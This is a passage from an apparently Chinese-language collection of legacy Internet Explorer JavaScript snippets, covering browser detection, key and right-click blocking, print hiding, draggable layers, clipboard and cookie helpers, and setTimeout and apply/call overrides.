<BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ope=(navigator.userAgent.indexOf('Opera')&gt;-1);&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie=(<SPAN style="COLOR: #0000ff">this</SPAN>.ie6&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie5&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie4)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns=(<SPAN style="COLOR: #0000ff">this</SPAN>.ns4&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns5)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.bw=(<SPAN style="COLOR: #0000ff">this</SPAN>.ie6&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie5&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ie4&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns5&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ns4&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.mac&nbsp;||&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.ope)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>.nbw=(!<SPAN style="COLOR: #0000ff">this</SPAN>.bw)&nbsp; <BR>&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>; <BR>} </DIV>
<P><STRONG>//计算内容宽和高</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;SCRIPT&nbsp;&nbsp;language=<SPAN style="COLOR: #ff00ff">"javascript"</SPAN>&gt;&nbsp;&nbsp; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;&nbsp;test(obj)&nbsp;&nbsp; <BR>{&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;&nbsp;range&nbsp;&nbsp;=&nbsp;&nbsp;obj.createTextRange();&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(<SPAN style="COLOR: #ff00ff">"内容区宽度:&nbsp;&nbsp;"</SPAN>&nbsp;&nbsp;+&nbsp;&nbsp;range.boundingWidth&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"px\r\n内容区高度:&nbsp;&nbsp;"</SPAN>&nbsp;&nbsp;+&nbsp;&nbsp;range.boundingHeight&nbsp;&nbsp;+&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"px"</SPAN>);&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>}&nbsp;&nbsp; <BR>&lt;/SCRIPT&gt;&nbsp;&nbsp; <BR>&lt;BODY&gt;&nbsp;&nbsp; <BR>&lt;Textarea&nbsp;id=<SPAN style="COLOR: #ff00ff">"txt"</SPAN>&nbsp;height=<SPAN style="COLOR: #ff00ff">"150"</SPAN>&gt;sdf&lt;/textarea&gt;&lt;INPUT&nbsp;&nbsp;type=<SPAN style="COLOR: #ff00ff">"button"</SPAN>&nbsp;&nbsp;value=<SPAN style="COLOR: #ff00ff">"计算内容宽度"</SPAN>&nbsp;&nbsp;onClick=<SPAN style="COLOR: #ff00ff">"test(txt)"</SPAN>&gt;&nbsp;&nbsp; <BR>&lt;/BODY&gt; </DIV>
<P><STRONG>//无模式的提示框</STRONG><FONT size=2> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;modelessAlert(Msg) <BR>{ <BR>&nbsp;&nbsp;&nbsp;window.showModelessDialog(<SPAN style="COLOR: #ff00ff">"javascript:alert(\""</SPAN>+escape(Msg)+<SPAN style="COLOR: #ff00ff">"\");window.close();"</SPAN>,<SPAN style="COLOR: #ff00ff">""</SPAN>,<SPAN style="COLOR: #ff00ff">"status:no;resizable:no;help:no;dialogHeight:height:30px;dialogHeight:40px;"</SPAN>); <BR>} </DIV></FONT>
<P></P></FONT>
<P></P></FONT>
<P></P>
<P><FONT size=2></FONT></P><STRONG><FONT size=2>//屏蔽按键</FONT></STRONG> 
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;html&gt; <BR>&lt;head&gt; <BR>&nbsp;&nbsp;&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"Content-Type"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"text/html;&nbsp;charset=gb2312"</SPAN>&gt; <BR>&nbsp;&nbsp;&lt;noscript&gt;&lt;meta&nbsp;http-equiv=<SPAN style="COLOR: #ff00ff">"refresh"</SPAN>&nbsp;content=<SPAN style="COLOR: #ff00ff">"0;url=about:noscript"</SPAN>&gt;&lt;/noscript&gt; <BR>&nbsp;&nbsp;&lt;title&gt;屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键&lt;/title&gt; <BR>&lt;/head&gt; <BR>&lt;body&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"Javascript"</SPAN>&gt;&lt;!-- <BR>&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #008000">//Author:&nbsp;meizz(梅花雨)&nbsp;2002-6-18 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;document.oncontextmenu(){event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;}<SPAN style="COLOR: #008000">//屏蔽鼠标右键 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;window.onhelp(){<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>}&nbsp;<SPAN style="COLOR: #008000">//屏蔽F1帮助 </SPAN><BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;document.onkeydown() <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;((window.event.altKey)&& <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((window.event.keyCode==37)||&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;← </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(window.event.keyCode==39)))&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;Alt+&nbsp;方向键&nbsp;→ </SPAN><BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(<SPAN style="COLOR: #ff00ff">"不准你使用ALT+方向键前进或后退网页！"</SPAN>); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp;} <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">/*&nbsp;注：这还不是真正地屏蔽&nbsp;Alt+&nbsp;方向键， <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;因为&nbsp;Alt+&nbsp;方向键弹出警告框时，按住&nbsp;Alt&nbsp;键不放， <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用鼠标点掉警告框，这种屏蔽方法就失效了。以后若 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有哪位高手有真正屏蔽&nbsp;Alt&nbsp;键的方法，请告知。*/</SPAN> <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;((event.keyCode==8)&nbsp;&nbsp;||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽退格删除键 </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.keyCode==116)||&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;F5&nbsp;刷新键 </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(event.ctrlKey&nbsp;&&&nbsp;event.keyCode==82)){&nbsp;<SPAN style="COLOR: #008000">//Ctrl&nbsp;+&nbsp;R </SPAN><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.keyCode=0; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(event.keyCode==122){event.keyCode=0;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;}&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽F11 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(event.ctrlKey&nbsp;&&&nbsp;event.keyCode==78)&nbsp;event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;Ctrl+n </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(event.shiftKey&nbsp;&&&nbsp;event.keyCode==121)event.returnValue=<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;shift+F10 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(window.event.srcElement.tagName&nbsp;==&nbsp;<SPAN style="COLOR: #ff00ff">"A"</SPAN>&nbsp;&&&nbsp;window.event.shiftKey)&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.event.returnValue&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽&nbsp;shift&nbsp;加鼠标左键新开一网页 </SPAN><BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;((window.event.altKey)&&(window.event.keyCode==115))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #008000">//屏蔽Alt+F4 </SPAN><BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.showModelessDialog(<SPAN style="COLOR: #ff00ff">"about:blank"</SPAN>,<SPAN style="COLOR: #ff00ff">""</SPAN>,<SPAN style="COLOR: #ff00ff">"dialogWidth:1px;dialogheight:1px"</SPAN>); <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;<SPAN style="COLOR: #0000ff">false</SPAN>; <BR>&nbsp;&nbsp;} <BR>} <BR>&lt;/script&gt; <BR>屏蔽鼠标右键、Ctrl+N、Shift+F10、Alt+F4、F11、F5刷新、退格键 <BR>&lt;/body&gt; <BR>&lt;/html&gt; </DIV>
<P><STRONG>//屏蔽打印</STRONG> <BR>&lt;style&gt; <BR>@media print{ <BR>* {display:none} <BR>} <BR>&lt;/style&gt; </P></FONT>
<P><FONT size=2><STRONG>//移动的图层，拖动 <BR></STRONG></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">1.&lt;span&nbsp;style='position:absolute;width:200;height:200;background:red'&nbsp;onmousedown=MouseDown(<SPAN style="COLOR: #0000ff">this</SPAN>)&nbsp;onmousemove=MouseMove()&nbsp;onmouseup=MouseUp()&gt;meizz&lt;/span&gt; <BR>&lt;script&nbsp;language=javascript&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;Obj; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;MouseDown(obj) <BR>{ <BR>&nbsp;&nbsp;Obj=obj; <BR>&nbsp;&nbsp;Obj.setCapture(); <BR>&nbsp;&nbsp;Obj.l=event.x-Obj.style.pixelLeft; <BR>&nbsp;&nbsp;Obj.t=event.y-Obj.style.pixelTop; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;MouseMove() <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(Obj!=<SPAN style="COLOR: #0000ff">null</SPAN>) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj.style.left&nbsp;=&nbsp;event.x-Obj.l; <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj.style.top&nbsp;=&nbsp;event.y-Obj.t; <BR>&nbsp;&nbsp;} <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;MouseUp() <BR>{ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(Obj!=<SPAN style="COLOR: #0000ff">null</SPAN>) <BR>&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj.releaseCapture(); <BR>&nbsp;&nbsp;&nbsp;&nbsp;Obj=<SPAN style="COLOR: #0000ff">null</SPAN>; <BR>&nbsp;&nbsp;} <BR>} <BR>&lt;/script&gt; <BR>2. <BR>&lt;div&nbsp;id=<SPAN style="COLOR: #ff00ff">"myDiv"</SPAN>&nbsp;src=<SPAN style="COLOR: #ff00ff">"logo.gif"</SPAN>&nbsp;ondrag=<SPAN style="COLOR: #ff00ff">"doDrag();"</SPAN>&nbsp;onmouseover=<SPAN style="COLOR: #ff00ff">"this.style.cursor='hand'"</SPAN>&nbsp;style=<SPAN style="COLOR: #ff00ff">"position:absolute;left=100;top=100;"</SPAN>&nbsp;onmousedown=<SPAN style="COLOR: #ff00ff">"doMouseDown();"</SPAN>&gt; <BR>&lt;a&nbsp;href=<SPAN style="COLOR: #ff00ff">"#"</SPAN>&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&gt;&lt;h1&gt;wlecome&lt;/h1&gt;&lt;/a&gt; <BR>&lt;/div&gt; <BR>&lt;script&nbsp;language=<SPAN style="COLOR: #ff00ff">"JavaScript"</SPAN>&nbsp;type=<SPAN style="COLOR: #ff00ff">"text/javascript"</SPAN>&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgMouseX; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgMouseY; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgObjX; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;orgObjY; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;doDrag() <BR>{ <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;myObject=document.all.myDiv; <BR><BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;x=event.clientX; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;y=event.clientY; <BR>myObject.style.left=x-(orgMouseX-orgObjX); <BR>myObject.style.top=y-(orgMouseY-orgObjY); <BR>&nbsp; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;doMouseDown() <BR>{ <BR>orgMouseX=event.clientX; <BR>orgMouseY=event.clientY; <BR>orgObjX=parseInt(document.all.myDiv.style.left); <BR>orgObjY=parseInt(document.all.myDiv.style.top); <BR>} <BR><BR>&lt;/script&gt; <BR>&nbsp; </DIV>
<P><FONT size=2><STRONG>//文档状态改变 <BR></STRONG></FONT></P></FONT><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;iframe&nbsp;src=<SPAN style="COLOR: #ff00ff">"a.html"</SPAN>&nbsp;id=<SPAN style="COLOR: #ff00ff">"f"</SPAN>&nbsp;name=<SPAN style="COLOR: #ff00ff">"f"</SPAN>&nbsp;scrolling=<SPAN style="COLOR: #ff00ff">"no"</SPAN>&nbsp;frameborder=0&nbsp;marginwidth=0&nbsp;marginheight=0&gt;&lt;/iframe&gt; <BR>&lt;script&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;doc=window.frames[<SPAN style="COLOR: #ff00ff">"f"</SPAN>].document; <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;s(){ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(doc.readyState==<SPAN style="COLOR: #ff00ff">"complete"</SPAN>){ <BR>&nbsp;&nbsp;document.all.f.style.height=doc.body.scrollHeight <BR>&nbsp;&nbsp;document.all.f.style.width=doc.body.scrollWidth <BR>&nbsp;} <BR>} <BR>doc.onreadystatechange=s <BR>&lt;/script&gt; <BR><SPAN style="COLOR: #008000"></SPAN></DIV></FONT>
<P><FONT size=2><STRONG>//刷新后不变的文本框</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px, ; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;HTML&gt; <BR>&lt;HEAD&gt; <BR>&lt;META&nbsp;NAME=<SPAN style="COLOR: #ff00ff">"save"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"history"</SPAN>&gt; <BR>&lt;STYLE&gt; <BR>&nbsp;&nbsp;&nbsp;.sHistory&nbsp;{behavior:url(#default#savehistory);} <BR>&lt;/STYLE&gt; <BR>&lt;/HEAD&gt; <BR>&lt;BODY&gt; <BR>&lt;INPUT&nbsp;class=sHistory&nbsp;type=text&nbsp;id=oPersistInput&gt; <BR>&lt;/BODY&gt; <BR>&lt;/HTML&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//访问剪贴板</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">(1)拖拽访问 <BR>event.dataTransfer.setData(<SPAN style="COLOR: #ff00ff">"URL"</SPAN>,&nbsp;oImage.src); <BR>sImageURL&nbsp;=&nbsp;event.dataTransfer.getData(<SPAN style="COLOR: #ff00ff">"URL"</SPAN>) <BR>(2)普通访问 <BR>window.clipboardData.setData(<SPAN style="COLOR: #ff00ff">"Text"</SPAN>,oSource.innerText); <BR>window.clipboardData.getData(<SPAN style="COLOR: #ff00ff">"Text"</SPAN>); </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//操作COOKIE</STRONG> <BR></FONT></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee"><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;SetCookie(sName,&nbsp;sValue) <BR>{ <BR>&nbsp;document.cookie&nbsp;=&nbsp;sName&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"="</SPAN>&nbsp;+&nbsp;escape(sValue)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">";&nbsp;"</SPAN>; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;GetCookie(sName) <BR>{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;aCookie&nbsp;=&nbsp;document.cookie.split(<SPAN style="COLOR: #ff00ff">";&nbsp;"</SPAN>); <BR>&nbsp;for&nbsp;(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=0;&nbsp;i&nbsp;&lt;&nbsp;aCookie.length;&nbsp;i++) <BR>&nbsp;{ <BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;aCrumb&nbsp;=&nbsp;aCookie[i].split(<SPAN style="COLOR: #ff00ff">"="</SPAN>); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(sName&nbsp;==&nbsp;aCrumb[0])&nbsp; <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;unescape(aCrumb[1]); <BR>&nbsp;} <BR>&nbsp; <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;DelCookie(sName) <BR>{ <BR>document.cookie&nbsp;=&nbsp;sName&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"="</SPAN>&nbsp;+&nbsp;escape(sValue)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">";&nbsp;expires=Fri,&nbsp;31&nbsp;Dec&nbsp;1999&nbsp;23:59:59&nbsp;GMT;"</SPAN>; <BR>} </DIV>
<P><STRONG>//setTimeout增加参数</STRONG> </P></FONT>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;script&gt; <BR><SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;_st&nbsp;=&nbsp;window.setTimeout; <BR>window.setTimeout&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">function</SPAN>(fRef,&nbsp;mDelay)&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>(typeof&nbsp;fRef&nbsp;==&nbsp;'<SPAN style="COLOR: #0000ff">function</SPAN>'){ <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;argu&nbsp;=&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>.prototype.slice.call(arguments,2); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;f&nbsp;=&nbsp;(<SPAN style="COLOR: #0000ff">function</SPAN>(){&nbsp;fRef.apply(<SPAN style="COLOR: #0000ff">null</SPAN>,&nbsp;argu);&nbsp;}); <BR>&nbsp;&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;_st(f,&nbsp;mDelay); <BR>&nbsp;} <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;_st(fRef,mDelay); <BR>} <BR><SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;test(x){ <BR>&nbsp;alert(x); <BR>} <BR>window.setTimeout(test,1000,'fason'); <BR>&lt;/script&gt; </DIV>
<P><BR><FONT size=2><STRONG>//自定义的apply,call</STRONG></FONT> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">Function.prototype.apply&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;(obj,&nbsp;argu)&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">if</SPAN>&nbsp;(obj)&nbsp;obj.constructor.prototype._caller&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">this</SPAN>;&nbsp; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;argus&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">new</SPAN>&nbsp;<SPAN style="COLOR: #ff0000">Array</SPAN>(); <BR>&nbsp;for&nbsp;(<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;i=0;i&lt;argu.length;i++) <BR>&nbsp;&nbsp;argus[i]&nbsp;=&nbsp;<SPAN style="COLOR: #ff00ff">"argu["</SPAN>&nbsp;+&nbsp;i&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">"]"</SPAN>; <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;r; <BR>&nbsp;eval(<SPAN style="COLOR: #ff00ff">"r&nbsp;=&nbsp;"</SPAN>&nbsp;+&nbsp;(obj&nbsp;?&nbsp;(<SPAN style="COLOR: #ff00ff">"obj._caller("</SPAN>&nbsp;+&nbsp;argus.jo&#105;n(<SPAN style="COLOR: #ff00ff">","</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">");"</SPAN>)&nbsp;:&nbsp;(<SPAN style="COLOR: #ff00ff">"this("</SPAN>&nbsp;+&nbsp;argus.jo&#105;n(<SPAN style="COLOR: #ff00ff">","</SPAN>)&nbsp;+&nbsp;<SPAN style="COLOR: #ff00ff">");"</SPAN>))); <BR>&nbsp;<SPAN style="COLOR: #0000ff">return</SPAN>&nbsp;r; <BR>}; <BR>Function.prototype.call&nbsp;=&nbsp;<SPAN style="COLOR: #0000ff">function</SPAN>&nbsp;(obj)&nbsp;{ <BR>&nbsp;<SPAN style="COLOR: #0000ff">var</SPAN>&nbsp;argu&nbsp;=&nbsp;<SPAN style="COLOR: 